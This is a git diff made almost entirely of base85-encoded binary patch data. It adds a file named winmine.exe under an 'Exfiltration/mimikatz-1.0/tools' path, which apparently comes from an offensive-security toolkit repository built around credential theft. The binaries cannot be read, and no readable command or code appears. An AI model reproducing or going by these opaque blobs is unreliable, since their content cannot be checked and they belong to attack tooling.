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 literal 0 HcmV?d00001 diff --git a/Exfiltration/mimikatz-1.0/tools/winmine.exe b/Exfiltration/mimikatz-1.0/tools/winmine.exe new file mode 100644 index 0000000000000000000000000000000000000000..3833d6ccea61f11210c4de6dc27489f6d71ee41f GIT binary patch literal 119808 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